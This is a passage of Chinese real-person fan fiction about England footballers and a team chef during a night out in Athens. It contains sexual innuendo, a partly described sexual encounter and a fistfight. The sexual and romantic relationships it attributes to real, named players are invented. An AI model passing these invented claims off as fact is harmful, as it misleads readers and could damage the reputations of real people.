“噢!”贝林厄姆发出一声惋惜的声音,接着摊摊手,目光从克里奇利宽宽的肩膀移到了斯通斯的脚踝上。 “John,你可真是个硬汉。”说着,他走过去把手搭在了斯通斯的肩膀上,“不像某个人,是个胆小鬼,既然来了,连替补都不敢上。” 英格兰队哪有这样的人啊,一语双关的话明着敲打旁边这个佯装淡定的人。 “Sorry,Jude,er…恭喜你进球。”被阴阳的人像个心虚的小狗不得不主动接下话来,不然,这匹小野马就得翻旧账。 Sorry的话他不知道要说几遍,对着多少人说。这违背了他之前不道歉不后悔不负责的混蛋人设,什么时候开始转变的,他也不知道。 “谢谢,我在皇马对巴萨的时候也进了呢,怎么不见你恭喜我?哦对了,你是我对家,所以来了英格兰队也不想和我说话吧,克里奇利先生。” 克里奇利知道他心里有气,但刚才喊他名字喊的脆声声的,都做好了接住他抱个满怀的准备了。 “我错了还不行,现在不是对家了,可以抱你了吗?” 克里奇利立刻变心虚为不要脸,也不怕他拒绝,主动献上拥抱。 贝林厄姆被抱了个瓷实,竟也没有反抗。 斯通斯看到了一个在短时间内情绪一连变三变的贝林厄姆,不由得深深佩服克里奇利这拿人的水准。 刚才还阴郁着一张脸别别扭扭使性子的朱贝林现在秒变小娇妻,看的他老脸一红,手都没地方放了。 克里奇利拍了拍朱贝林的后背,说把约翰交给你了,我得去给你们准备晚餐了。 朱贝林这才松开他,伸手把斯通斯搂过来,把他的胳膊绕到?*? 自己的脖子上,回头对克里奇利笑了笑,完全不记仇了,接着架着斯通斯走进更衣室。 更衣室里,斯通斯好奇的问他,“你们什么时候认识的?” 贝林厄姆想了想,也是在国家队召集的时候见到他,又想起了很多细节,忍不住自顾自的笑起来,看的斯通斯一脸迷惑。 这傻小子在那美什么呢,又不是问他的初恋,一副花痴的样子。 搞不好真是他初恋,男男初恋。 “比你认识他早多了,那时候他还没去曼城呢。” 得意的他! “羡慕你们曼城吃的好,怎么没把他留下来,让他去了巴萨呢!” 他还没忘了这事呢。 “我也不知道,巴萨不也没留住吗。” 正聊着,比赛结束了,大部队陆陆续续进了更衣室,闹闹哄哄的开始了一波庆祝。 不知道是谁喊了一嗓子,晚上放假啦!雅典“天堂酒吧”香槟鸡尾酒无限量畅饮! “噢——!!” 确定是助教发的话一家人在更衣室就摇了起来。 “餐厅不做饭了吗?”贝林突然瞪大眼睛有点不可思议的看着助教科尔。 科尔搂了一下他的肩膀,高兴的说,“多亏了你呀,进球功臣!今晚都跟着你沾光,全员放假!” “噢,呵呵。”贝林假笑回应,心里在想今晚怎么拉着大厨一起去酒吧,可不能让他像在马德里一样,到了自己的地盘连个屁都不放,巴萨一日游传遍马德里,就没见他主动联系自己。 但是斯通斯去不了了,队医把他送回去,他也买了回程的机票,提前退赛打不了爱尔兰了。 回到酒店大家都换了私服,准备参加集体活动。 克里奇利接到通知说不用准备庆功晚宴,队里包下雅典著名“天堂酒吧”适当放松,准备为两天后的最后一轮比赛鼓鼓劲儿。 这段时间管的太严,禁酒令禁足令的把一帮20几岁的小伙子们憋的不行,今晚领队主管和教练一合计打算放松一晚上也无妨,谁也别跟上面说,封闭庆祝胜利,人之常情。 但“天堂酒吧”名字就不适合他,一听就是像他这种人禁入的地方。 他没打算参加,想着去房间看看斯通斯,再安慰他一下,接着自己出去溜达溜达,找个合适的地方独自庆祝,运气好的话,找个雅典小帅哥一起庆祝也行。 谁知他敲斯通斯的门,开门的却是格拉利什,里面还有赖斯,福登,芒特。 来的不是时候,他刚要跟格拉利什打个招呼,格拉利什就一把把他拉进来了。 “看看谁来了!” “噢!布莱恩!你这个家伙!”赖斯惊喜十分,屁股立刻从沙发上弹起来,刚要走过去,接着被芒特一把抓住,又重新坐回沙发上了。 福登抿着嘴笑,也遮不住他一排小白牙。 斯通斯一脸惊讶,说,“你不是请假不来了?” “我是请假不参加聚餐了,但是没说不来和你道个别呀。” 既来之则淡定之。 他迈着步子走进来,把手里的花茶放下,又和房间里每个人握了个手,到芒特这里,被狠狠捏了一下,他想,我还不认识你呢,怎么对我这么“重视”。 见到赖斯在旁边傻笑,才明白过来,这俩人八成是一对儿。 他想起和赖斯相处的那一夜,好像听他说过有个两地分居的竹马,最近在冷战之类的。 他当时哪放在心上,喝了点酒就醉在赖斯一双勾人心魄的蓝眼睛里了,像溺在贝加尔湖里谁救都不愿意上来,还管你那么多。 那时候是他初入足坛帅哥圈,还不来一个吃一个。 像赖斯这种顶级白男料理,像只蓝龙一样高贵稀有,剥了壳一整个白嫩滑爽,不用任何复杂的加工,直接生猛着吃,别提多带劲了! 事后,他还笑嘻嘻的夸自己有经验,不愧是操刀大厨,让自己被刀的很舒服。 典型e人,一点都不带羞涩的。 现在要不是被人强行摁着,可能得当着这几个人的面把他扑倒也说不定。 不会把这个也跟他好竹马分享了吧。 不然怎么感觉后背跟烤了一样。 一屋子人,只有一个对他不怀好意,其他的都各怀鬼胎,想着今晚怎么霸占他。 虽然都想占为己有但也不能表现的太过明显,赖斯是不敢了,他拉着芒特的胳膊说我们去酒会了,人少了不好,再说索斯盖特不去,今晚可以好好玩玩。 格拉利什率先邀请克里奇利去酒会,说你好不容易休息,一起去放松放松吧。 克里奇利说你们才好不容易休息呢,我昨晚刚喝了个通宵。 福登立刻接住他的话题,说那你和我一起去打桌球吧,那里安静一些。 他说我不会,我会打保龄球,但那玩意好像过时了。 其实他就想去洗浴中心按摩,再去“地狱酒吧”跳舞,ktv喝酒,最后直奔主题酒店。 这一条龙下来,估计能认识好几个和他差不多的拥有古希腊气质的帅哥。 其实他就想在去往“天堂”或“地狱”之前再看一眼斯通斯,下回见面就不知道什么时候了,他仪式上的“妻子”,让他好像被回旋镖打了一下似的,心脏漏风,有那么一瞬间想要靠岸了。 所以他今晚要一个人出去,看看对满眼的帅哥还有没有那么强烈的占有欲。 但是,天不遂人愿。 在阿诺德和索兰克敲门的时候,一家人闹哄哄的不由分说地“绑架”这位能助攻进球的幕后大厨上了贼船。 他说不去就是不想去吗,格拉利什和福登一人拽一条胳膊,一边给阿诺德和索兰克介绍,一边拖行他加入庆祝的小分队中。 克里奇利回头望月,斯通斯也没法站起来救他,只是用我见犹怜的眼神目送“新婚燕尔”的“老公”被多人上下其手。 “约翰,你照顾好自己啊!”他倒是也没有身不由己,走的还挺快。 * 到了酒吧,克里奇利被左拥右抱的没看出端倪来,他又不知道英格兰队这么多豪门之子,各种太子都聚齐了。 虽然大家磨合了好几天,就坐的位置还是有分水岭,比如热刺的和利物浦的坐一起,切尔西的和曼城的坐一起,阿森纳的和曼联的坐一起,好像伦敦帮挨得太近会扎的慌,所以就算是对家也忍了。 皇马的贝林想要挤进去坐在福登和克里奇利之间,被眼尖的阿诺德一把捞了回去,差点一屁股坐他大腿上。 阿诺德贴在贝林耳边愤愤的说,“那人谁呀?看把他们稀罕的,有我帅吗?” 贝林笑着歪了歪头和他碰了一下,“你最帅了!特伦特。” 第84章 和克里奇利相处一般…… 和克里奇利相处一般有三个级别。 没吃过他做的饭的,只是一眼打过去被他外貌给硬控的,属于初级玩家,还没有太大的野心。 吃过他做的饭和他有一夜之缘的,属于进阶玩家,胆子大,兴趣浓厚,不计后果想要钓这个风花雪月的男人。 吃过他做的饭,和他度过许多个美妙的夜晚并能够打动他内心的,属于高级玩家,会明白这个男人他不属于自己,如果他稳定下来要和你处关系,那就不是他了。 人人都爱采花大盗布莱恩.克里奇利。 但也有例外。 那种既没吃过他做的饭,也没和他眉目传情,并且自己的crush还被他吸引的,就想和他过过招。 凭什么一个厨子占据了C位,阿诺德非常不满。 他这两天一直被安利中餐,但是他印象里的中餐都是酸甜口,每次看格拉利什和福登在吃炒饭他都嫌弃的直咂嘴,搂着他特点的意面生怕被别人抢了去。 就连贝林厄姆都抛弃了番茄吐司一连吃了好几个炸鸡肉蔬菜丸子,还给阿诺德塞嘴里一个,阿诺德不喜欢香菇,这味给他冲的差点当场去世。 所以当他看见这个中餐负责人克里奇利时,不屑,不满甚至有些敌意的情绪在他心里一点一点的滋生。 特别是贝林厄姆一晚上眼睛像灯似的一直往那边照,还被格拉利什开的颜色笑话逗的哈哈大笑。 格拉利什说:“嘿,你们摸摸,这胸肌,身材好不好,首先看胸。” 克里奇利抓住他手腕叫他别闹,再闹就脱了让你们看个够。 接着就被好几只手扒住了衬衫。 贝林厄姆也想上去助力,但是一直被阿诺德摁着腿。 真的脱了! 这家伙! 他脱了上衣,像条白鲢似的从众多魔爪中脱离,直奔舞池中间,甩着衬衫在C位领舞。 这边的雅座就传来阵阵口哨声。 低俗! 阿诺德实在看不下去了。 他骂了一句去他的!拼了!竟然也脱了上衣只穿一条背心就挤进了跳舞的人群中。 他这一脱不要紧,立刻吸引了众多男女的目光。 英格兰对的所有工作人员都疯了,这里面还有一些赞助商和企业家的名媛公子哥,虽然是内部聚会,外人也不少。 他们众星捧月般围着英格兰球星大跳特跳,很快格拉利什,福登,斯特林,贝林厄姆也加入了这疯狂庆祝的行列。 克里奇利往那边看了一眼,谁知阿诺德也在看他。 克里奇利看出来那人有些得意,因为他一来就成为人群中的焦点,刚才还围着自己跳舞的帅哥靓女转眼就绕到了那些耀眼的球星周围。 格拉利什才不会让他的任何一个小伙伴落单,他从来都是气氛活跃大师,而且人越多他越嗨,他穿越人群再次拉住了克里奇利的手腕。 谁知克里奇利这次却没顺着他,他单手绕过格拉利什的脖子,贴身抱着他,在他耳边说,“杰克,我不过去了,你们玩吧。” 接着拍了拍小狗的背,准备回去穿上衣服,收起尾巴,找地方抽根烟,不跟这帮球星抢风头了。 这又不是他的修罗场,这是人家球对的派对,自己只是走走过场,浪一下就行了,真要比谁抢眼,直接捞走贝林厄姆,还管其他人干嘛,那个阿诺德一准跟他急眼。 谁知他刚准备退场,就被一只手搭在了肩膀上,回头一看,这不索兰克吗。 热刺的中锋,人高马大,手瘦有劲,是个莽汉,听说和门将冲撞伤了腰这才刚复出不久。 索兰克不言不语的抬了抬头,眼睛向下看着克里奇利,抓住他手腕往身前拽去。 “克里奇利先生,一曲未完就退场是认输了吗?” 啊,这是来挑衅的。 克里奇利脑袋瓜转了一下,这几天,索兰克一直在阿诺德身边形影不离,莫非是三角恋?加上自己就是四角恋,不,他没招惹过这个看上去一脸老实憨厚像的人。 索兰克一直平平无奇,以前在樱桃对低迷过一段时间,后来又找到了射门靴,转会热刺,凭借坚韧勇猛的品性和卓越的爆发力经常在热刺打出出其不意的进攻,但在星光熠熠的英格兰,他还捞不上一个首发。 而且他话真的很少,是一个爱看动漫的大男孩,就连庆祝动作也是动漫人物的代表手势。 他要干嘛呢? 克里奇利随着音乐节拍点着头,抿着嘴,伸出一根手指推着他的肩窝,似乎在回应他,认输?不存在的。 “既然没那两下子,就不要喧宾夺主了,趁着没人发现该干什么干什么去。” 索兰克气势随着音乐的节奏的变化而跟着升高,莽撞如其人的发出不友好的送客声音。 克里奇利不是惹事的主儿,但也绝不怕事,还能叫人说几句就怂了?他永远是一副我管你谁谁谁,我想干嘛干嘛,如果我不睡你那我做什么就跟你无关。 他说:“我可没抢你的人,也没和谁比什么,要是你想和我搭讪,对不起,我不吃逆风局。” 索兰克的心思被他看准了大半,他确实想为阿诺德出头灭灭这个男人的嚣张气焰,还想刺激刺激他让他对自己有个印象,万一吸引他的注意,那阿诺德会不也为了自己吃醋? 但是他用错了方法。 他和克里奇利不熟,根本没达到呛声他可以获得重视的程度,但是他有点小帅,还不如直接问克里奇利今晚上有空吗,找个地方聊聊,这样说不准能达到事半功倍的效果。 引起阿诺德的注意也引起克里奇利的主意,后者算是耍小聪明吧,上钩就甩了他,让他知道他连阿诺德一个剪影儿都比不了。 克里奇利是不想给他机会吗?其实他根本没什么标准,两个人想要开始,就那么回事。 谁甩谁没那么重要,他巴不得谁下了床就甩了他,可任何一个小鲜肉都没那么容易下他的床,更没那么容易从记忆中快速删除他。 他对小受出了名的爱护和照顾,虽然他平时自高自大自以为是,在交流爱意时还是愿意多付出一些,多突破一些,多承担一些。 所以如果踢球的话他的位置应该是守门员,持续且罕见的保持零封。 如果有人攻了他的门,那一定是他大意放纵的后果。 但他自从涉猎了足坛,遇到的可不都是小受,那一个个威猛先生可不仅仅满足于被他开发,实际上对他动念的着实不少。 为什么成功的少呢? 那还要归功于他进攻太密集,防守太好,加上爱的保质期太短,别人根本没有机会。 德容和穆西亚拉都想过下一次就在上面,都被他覆手翻云,连拖带抱连哄带骗的压住不放松,再用灵活熟练的技巧和循循善诱的引导,让人难以拒绝这样春风化雨般(老骗子)的爱意迷惑。 鲁本迪亚斯那一晚险些成功,那家伙太勇了,简直是带刀后卫,打了一晚上难分胜负,让克里奇利差点因爱生恨,最后直接拿出了杀手锏,就是连续劈柴不间断,累,喘,把持住。 所以他也是个狠人,谁能在20分钟内高强度高频率不间断抡斧子直到把粗壮的椴木砍得只剩下一片湿土地,还可以保持斧子的强硬不倒,是个男人就来试试。 所以试过他的没有给差评的,这就是他为什么能在伦敦镇圈屹立不倒的原因。 还有一个更重要的原因是他的私密性,人人都在讨论兽腰克里奇利,却从没有人可以在他口中认证,自己曾是他的盘中餐,因为他对过去很少谈论,除非是印象太深刻,让他喝醉了还能想起来的。 这会儿,不知道有多少人在舞池中看见这位浑身散发妖气的英格兰顶级alpha垂涎欲滴。 可惜他被索兰克搭讪以后退出了舞池,转眼就不见了。 他找了个ktv包间,躺在沙发上,衬衫开着怀,大喇喇地伸着大长腿,等着有客人自动送上门来。 果不其然,今晚和他搭讪的老实男人从虚掩的门缝中闪身进来,还落上了锁。 他把搭在眉头上的手腕挪了挪,看了一眼来人,嘴角兀自弯了弯,漫不经心地说了一句,“来者不善,善者不来。要杀要剐,悉听尊便。” 门口的男人忽然站住了,好像没听懂这句富含中式哲理的英文,感慨自己还是读书少了。 他一改刚才咄咄逼人的气势,语气缓慢地说,“抱歉,克里奇利先生,我不是有意冒犯,刚才实在是一时冲动。” “嗯,这才是我印象中的你。” 克里奇利站起来,直奔着他而去,走到他面前,强大的猎杀气场像一双无形的手推在索兰克的肩膀上,迫使他后腿了两步,再退就抵在门板上了。 刚才还很没分寸的索兰克好像被打回了原型,一只很高大很温顺很憨厚的长毛猫。 “你想做什么?引起阿诺德的注意还是我的注意?” 克里奇利一双含情脉脉的大眼睛又发出了醉人的信号。 来者不拒是他维持青春活力的砝码,何况索兰克是一款外形粗矿神似大型猫科动物实际是一只内心在喵喵叫的大缅因。 克里奇利听见了。 管他什么目的,只要明里暗里对着你喵喵叫的都应该被抱到沙发上,好好的摸一摸。 第85章 “你离我太近了,有…… “你离我太近了,有点…热。” “这样会不会好一点?”克里奇利把他宽松的卫衣沿着腰线搓了上去。 索兰克明显打了个寒颤,深邃的眼睛看不出什么情绪,但也没有拒绝,直到被这双细长有温度的手像剥橘子一样剥去了上衣。 房间里开着空调,温度适中,就是味道不太好闻,有一股装修混着酒糟的气味儿,但这浓烈的气味可以让这次即性发挥变得记忆深刻。 索兰克没想到会这么快,他只是想来和他道个歉,顺便试探一下他对自己有无兴趣,恰好有兴趣的话,互相利用一下也是不错的选择。 但他没想到克里奇利主动发起进攻竟然是这样令人无法抗拒。 弱肉强食是基佬界的准则,克里奇利一直信奉着这个,他是食物链顶端,从未掉过链子,除非他主动让出来。 宽厚的手掌撑在索兰克的肩膀上,沿着肌肉的线条描摹下来,像是在雕刻一件工艺品。 对自己身材还算满意的索兰克忍不住倒吸一口气,头脑发昏的感受着那指尖传来的温度和薄茧摩擦的力度,一时竟难以招架,又往后退了两步,后背抵上冰凉的墙面。 接着他就抓住了克里奇利的手,不让他再往下游走。 “克里奇利先生,你误会了,我不是你想的那样…轻浮。” “我想的什么不重要,你如果是来真诚道歉的,那我接受,顺便给你你想要的。” “你知道我想要什么?” “利用我。” “!” 索兰克有一种诱敌失败,被敌人看穿并且被拿捏住了的感觉。 “明知道我利用你还对我有兴趣吗?” 索兰克又不了解克里奇利,兴趣只是一方面,有时候只是简单的一个照面,连名字都不用说。 克里奇利在这方面还是拎得清的,一个愿打一个愿挨,解释太多没必要。 而且好像很久都没主动出击了,都是吃现成的,今天不管什么原由,他只想让索兰克品尝到招惹他的后果。 索兰克是个前锋,看上去老实木讷,其实是个优秀的开瓶器,主打一个嗜血破门,破门后张弓搭箭“叭”地一声怒吼让人看着舒爽。 但这不在球场,开瓶器这次还没等伸手,这瓶烈酒就主动崩开了瓶口,瞬间香气四溢,盖都盖不住就熏了一屋子香。 “你好冲啊!”索兰克退无可退,于是伸手抵住了克里奇利的胸口。 “不喜欢我这种?” “不是,你应该是这类里的极品。” “哪一类?” “抱歉,我是不是又说错话了?” “你觉得呢?” “那,我们这类,如何?” “这就对了,索兰克,我并不觉得异性恋或双性恋比我们这类高贵多少,我就是喜欢干这口。”他的手还是放在了脚球男引以为傲的弧度上。 看上去英里英气的斯文绅士出口成脏把索兰克说的都高低眉了,胸口像灌进了汽油灼烧的他口干舌燥,还不经意的向前倾身。 这点身体反应对老狐狸克里奇利来说简直是积木卡上了凹槽,太对胃了。 他凑上去一个不商量的亲吻堵上他微张的嘴,手接着就去检验检验是不是一句话就硬激了。 果然如此。 只知道暗恋别人不知道主动出击的闷葫芦果然是敏感的过于可爱。 亲吻常常使人放松和陶醉,是卸甲的专攻,克里奇利的亲吻让人挑不出毛病,无论是角度,力度,技巧都会使猎物一点点失去自我飘飘然升上了外太空。 何况是这个情场低手,能够认清自己的性向却不敢大胆尝试的英格兰传统猛男。 克里奇利又一次充当了领路人,把脚球男一切顾虑都化在缠绵不休的亲吻中。 他恨不得一口气吃了他叫他知道什么是进攻,但还是托着他的后脑勺,十分温柔十分宠溺地带他来到宽大的红色沙发上。 只是亲吻加爱抚,还没等做什么,索兰克就不行了。 他立刻从沙发上弹起来,说了声抱歉,就拎起衣服冲出门去。 克里奇利看着他仓皇出逃,眨巴眨巴眼睛愣在原地,接着哑然失笑,笑过之后又愁的慌。 一辆刚加满油的汽车,一部刚充满电的手机,一个蓄力待发的点球,还没冲上陡坡,玩个通宵,打进球门,就被抛弃了! 克里奇利认为,他不会回来了,这个比他还混蛋的没经验的小受,太不合格了。 他没回来,麻烦比谁来的都快。 他坐在沙发上灌了几口冰啤酒冷静下来,想着索兰克这波利用够不够劲,他接下来到底有没有勇气去表白,自己助攻他助攻的够可以了吧,他还没报答自己呢。 这么想,自己还有点伟大。 结果,门口冲进来一个身影,迅雷不及掩耳之势让他刚看清来人是谁,就被这家伙一把揪住了衣领,摁倒在沙发上,一记左勾拳砸在了他的嘴角上。 瞬间他就尝到了自己嘴里的咸腥味儿。 不疼,来的太快,没来得及反应,但这也太莫名其妙了! 他本能的双手撑住那人的脖子,盯着他一双快要掉下来的眼珠,喘着粗气刚要质问他,那人就被接着冲进来的两个人给拉住了。 贝林厄姆和索兰克一人一条胳膊把阿诺德从他身上拉开。 克里奇利舌尖掠过右腮,这才感觉到嘴里裂了道口子,鲜血翻涌,牙齿都染红了,他唾了一口血水,抬手擦了擦嘴角,忍着天旋地转也要站的直溜。 被两人死死抱住的阿诺德还要往前冲,表情像头暴躁的红牛,指着他鼻子骂:“你个人渣!败类!垃圾!你…你…不配活…”他还没说完嘴就被贝林厄姆给堵住了。 今天出门没看黄历吗,克里奇利被他喷了一头雾水,也是气不打一处来。 这俩没经验的借完他的力冲就完了把他供出来干嘛? 贝林厄姆捂着阿诺德的嘴骂他,“你疯了吗,特伦特,他是我朋友,朋友不分先认识后认识,朋友就是朋友!” “有这样的朋友吗?他对你做了什么?你心知肚明,他多大,你多大?” “特伦特,你别冲动。”索兰克也劝他。 “你别假惺惺的,你一开始还站在我这边,怎么刚刚和他约完就倒戈了,他给你灌迷魂汤了还是把你也搞定了,你可不是21,2的小年轻了!” “特伦特阿诺德!这一切还不是因为你!” 索兰克激动的揪住阿诺德的衣领,快要把他整个人都提起来。 “你从来都是这样!你在利物浦称王称霸,来英格兰队也这样,是不是所有人都得围着你转?我受够了!” 克里奇利看他们扭在一起,突然没了主见,不是叫他去表白吗,怎么适得其反了呢? 唉,这两个家伙,果然是一点眼色都没有,当初的贝林厄姆连亲吻都不会,被克里奇利上了一课到现在还看不懂阿诺德对他的心意。 索兰克呢想利用他让某人吃醋,可现在利用了怎么不表白反而让自己看上去像被欺负了。 也难怪阿诺德破防,他的竹马被人抢了不说,国家队最好的朋友也被刚认识的这个家伙迷惑了。 刚才他看见索兰克拎着衣服光着膀子从包间里跑出来,他一路跟到了厕所,看见索兰克狼狈的擦裤子,问他怎么回事,索兰克眼角有泪支支吾吾说了半天什么也没说出来。 阿诺德一气之下就去找克里奇利算账。 他误会克里奇利欺负了索兰克。 也许不是误会,克里奇利漫不经心的无心插柳,要不是索兰克跑了,真被他欺负哭了也说不定。 还是那句话,这两个没经验没点心眼什么都写在脸上的黑皮小帅哥,可把克里奇利害惨了。 主要是这要是传出去,英格兰队内讧,他可负不起这个责任。 真的不一会就进来好几个人,队友,教练助理,工作人员都进来了。 克里奇利什么都没说,从人群中抽身离去。 “没事没事。”贝林厄姆和索兰克慌张的劝退来看热闹的人。 阿诺德握了握有些微麻的拳头,心里五味杂陈,是自己太冲动了吗? 活该,他应得的。 阿诺德固执的认为一个有点姿色就招摇撞骗的人就该为他惹的祸负责。 他凭什么不搭理贝林,又凭什么招惹索兰克,现在他一走了之就显得自己多高尚了吗?那一拳打的他轻了。 克里奇利心里也是很生气,他一个人走在陌生的异国大街,没什么心情去酗酒,抽劲儿大的烟,泡奢华糜丽的夜色。 他仰起头对着夜幕骂了一声“Fuck!”这才感觉到嘴角传来阵阵痛楚,他抬手揉了揉,又愤愤地骂了一句,“特伦特?阿诺德,你他妈是有什么毛病吗!” * 两天后。 队伍出发爱尔兰,打小组赛最后一轮。 这天轮到他大巴值班,他早早上了车,为球员们准备好了清晨的叫醒套餐。 他们都在酒店用过餐了,但每个人还需要一杯特调饮料,为这一天的训练打开美好的心情。 这两天也没见阿诺德,不是故意躲着他,而是克里奇利嘴角淤青没法对每个人解释,一看就是被拳击了,但耳听为虚,队里也没对阿诺德做什么处分,毕竟打爱尔兰还需要他来守卫。 他也不是圣人,他心里有气没地方撒,但工作是工作,他从来不在工作中夹带私人感情。 该给谁准备的一点都不含糊。 加拉格尔率先上车,清爽的白色运动服,金色的长发利索的绑在脑后,露出光洁的额头,天生忧郁的气质配上他甜美自信的笑容,像清晨的一道阳光射入车内,给克里奇利眼前一亮。 克里奇利不敢回应他的微笑,嘴角疼,于是从台面上找到贴着他名字的冰美式递给他,说了句请慢用。 “谢谢。”加拉格尔接过来,随手把手提包扔在座位上,关切的问他,“克里奇利先生,你嘴怎么了?” 是个人就得问,克里奇利头都大了,他说,“给人亲的。” “人亲的?” “说狗亲的是不是更逼真一些。” “哈哈哈…你可真幽默。”加拉格尔拍了拍他的肩膀回到自己的座位上。 克里奇利也低着头笑,不知道一会上来的人他要回答什么才不会被追着问。 果不其然,人多了起来,当曼联太子拉什福德问他你这怎么回事时,他说成了狗亲的。 格拉利什跟被踩了尾巴似的,惊叫着说,“看我干嘛?不是我亲的!” 第86章 已经过了10分钟了…… 已经过了10分钟了,人还没上齐,车也不能发,英格兰队向来挺准时的。 克里奇利看了看冰柜,还有几杯饮料无人认领。 阿诺德,贝林厄姆,索兰克还有南门教练。 难不成被教练知道了在做思想工作,叫他们不要搞办公室三角恋,还是专注踢球比较好。 克里奇利为自己的猜想感到好笑,教练才不稀的管这些闲事,他只关心自己的球员身体状态,水平发挥,至于跟谁谈恋爱,他都睁一只眼闭一只眼,噢,你找他们谈话他们就不谈了?不给你一下谈好几个就算好的了。 正想着,索斯盖特上来了,看了一眼车内,又问了问助理,表情严肃的拿过点名册来一边戳着册子一边喊道,“那三个人呢?谁看见了?再不来就跑着去球场!” 好人格拉利什拿出手机刚要给贝林厄姆打电话,这三个人才陆陆续续上了车。 阿诺德戴着卫衣帽子,遮住自己的脸,路过餐车时目不斜视,也没拿饮料,大步流星的走到自己座位。 以为自己很潇洒的他被索斯盖特拿册子打了一下头以后,尴尬的撇撇嘴扯出了一个不太自然的微笑,老老实实的坐下。 贝林厄姆和索兰克看见了,绕开索斯盖特准备一屁股就近坐下,也没逃过被册子招呼的命运。 三个人各有心事的一路不说话。 直到克里奇利把饮料递到他们手上,才一个个的表达了这两天想要说的话。 毕竟人多,不能说多。 贝林厄姆说:“布莱恩,我帮你教训他了,别生气了。” 克里奇利惊讶的挑了挑眉,没说什么,把香草拿铁递给他。 索兰克小声说:“我很抱歉,我…我…”,我了半天跟喵喵叫似的,也没说出个豆来。 克里奇利把橙汁递给他,按了按他的肩膀,说了一句,“我没事,冤有头债有主,你没事别瞎道歉。” 到阿诺德那里,克里奇利也没什么好脸色,把他的矿泉水放在扶手的饮料位里,他又没点饮料,那只能给他矿泉水。 阿诺德低着头,身子快要溜到椅子下面,没说话也没接。 阿诺德在想刚才他去叫贝林厄姆一起乘车,贝林对他说的或许有道理。 贝林说竹马之情坚不可摧,但每个人都有选择的权利,你不能不放他走,不让他去过自己的生活,那跟精神pua有什么分别。 他说:“我哪有,我只是觉得克里奇利不像个好人。” 贝林说:“我本来也没指望他可以承诺我什么,我只是觉得他很潇洒很有个性,我喜欢他就这么简单。喜欢一个人不一定非要占有他。” 贝林没答应和他一起走,说自己要冷静思考还有没有必要和阿诺德继续做朋友,如果他还不去道歉的话。 阿诺德回到房间发现索兰克就站在他房门口,想要敲门又犹犹豫豫的。 他放轻脚步走过去在他身后大喊了一声嗨却没有吓到他,反而给自己搞了一个大红脸。 他的假笑凝固在脸上,很快转为忧愁。 从贝林那里出来本来就心情不好的他刻意开玩笑,自己也觉得并不好笑,好像又多欠了索兰克一点。 “多米尼克,你也是来找我算账的吧?” 前两天还理直气壮的认为自己没错的阿诺德,现在像个泄气的皮球,一点一点认识到自己被嫉妒冲昏了头,还动手打人,有损自己光明磊落的形象。 回味那天索兰克说的话,自己确实有点太霸道了。 之前在利物浦训练,萨拉赫也说过他,让他照顾一下中场的跑位,他坚决不服,以为萨拉赫含沙射影的嫌他不传球,浪射,因为就近一场比赛他的远射都飞出了天际。 他这暴脾气一时没压住和萨拉赫推搡起来,萨拉赫还微笑着装作队内小打小闹,替他蒙混了过去,不然他就得被队内禁赛。 两天前,克里奇利明显也被自己激怒,但是面对众人,他还是选择忍了下来,没让这件事传进主教练的耳朵里。 不知道他乌青的嘴角怎么跟人解释的,反正没人来问他那晚发生了什么。 索兰克皱着眉,轻轻摇了摇头,对阿诺德说,“特伦特,我很抱歉,我之前那样说你。” “噢不,你不需要道歉,你也是受害人不是吗?” “不,不是。”索兰克眉头紧簇,不知道该怎么说。 “难道不是那个老狐狸诱骗了你,你才对我说那些话的吗?难道你真的认为我是一个霸道且不可理喻的人吗?” “克里奇利先生告诉我,如果认清自己的需求就要主动出击,他的勇敢我很佩服。他不考虑后果,只考虑当下。他让我利用他引起你的注意。” 说到这,索兰克脸红了,他抬起手来搓了搓自己发烫的脸,接着含糊的说:“God,我在说什么,特伦特,你就当没听见,我…我只是…为克里奇利先生感到不平。” 阿诺德盯着他看了半天,一把抱住了面前这个害羞得捂住脸的高大男人,心里不由得发紧,在他眼里,索兰克一直是他的好兄弟好搭档,就算捞不着首发也没落下给场场首发的自己加油打call。 他自卑于场上位置比不了凯恩,场下身份比不了贝林,在阿诺德的身边一直默默的守候,希望可以得到他的眷顾。 在英超遇见的时候,索兰克都用欣赏的目光注视着他,然后感慨为什么不和他一个队呢,他是世界上最好的后卫,希望有一天可以和他一个队。当他成功入选英格兰队的时候,别提多高兴了,虽然只是给凯恩打替补,那也高兴。 隐藏了这么久的心事,在被克里奇利上了一课之后终于勇敢说出口,总算了去了自己一个心结,也不用总做表白的梦了。 当然,结果他预料到了,阿诺德像庆祝他进球一样,用力抱着他,拍着他的后背对他说,“尼克,”他叫他的昵称,“你一直是我的好朋友,我是怕你被欺负了。” 索兰克摇了摇头,说,“我已经不是21,2的小年轻了,很清楚自己在做什么,希望不会给你带来困扰,以后还是好朋友。” 这时,贝林厄姆从房间里走出来,遇见他们两个,伸手搂着索兰克一边走一边说,“还不走,一会教练要骂人了。” 他们三个这才姗姗来迟。 阿诺德在大巴上想了一路,觉得不和克里奇利说开,他就无法参加训练,输球的责任会影响他好一阵子,如果因为个人感情影响比赛那就不算是专业的球员。 在爱尔兰的训练基地,阿诺德第一次吃了中餐,他拿着餐盘走近中餐区,看看这个瞅瞅那个,不知道该选点什么。 赖斯和芒特也在选中餐。 赖斯给芒特强烈安利那个葱烧鳕鱼,芒特努着嘴说自己不爱吃葱味儿。 赖斯小声在他耳边窸窸窣窣地说,“瞎说,我昨晚吃了葱烧海参,你亲我的时候也没说有味儿啊。” 芒特差点手滑把盘子掉地上,他剜了赖斯一眼,轻声叹气摇头,心想我这小娇妻一天到晚浪来浪去,能不被人看在眼里,吃进肚里?怎么才能把他栓牢在自己身边呢,唉,好想再回切尔西啊,回伦敦,阿森纳要他他也去。 “有什么推荐的吗,你们俩。”阿诺德主动问这俩嘀嘀咕咕目中无人的小情侣。 “葱烧鳕鱼啊。”说着,赖斯就夹了一块,阿诺德刚要伸盘子去接,这块油亮多汁的鳕鱼就落在了芒特的盘子里。 两人嘿嘿一笑去下一个餐位了。 阿诺德鼓着腮帮子刚要背后骂人,他的盘子里就多了一块葱烧鳕鱼。 抬头一看,身穿白色厨师服,带着主厨高帽,嘴角还有些青的大厨克里奇利正垂眸看着他。 他的盘子微微倾斜,嘴巴张成了O型,完全没有说谢谢的预备口型,傻了一样愣在那。 克里奇利戴着塑料手套又把他的盘子扶平了些,不至于汤汁洒到地面上。 他这才回过神来说了一句谢谢。 克里奇利面无表情,似乎并不care,他只是在工作而已,顺便为僵硬疏远的关系打开一个可融合的缺口,用他精湛的服务和自信的厨艺把这道缺口粘合,让阿诺德在接下来的比赛里可以先把这件事放放。 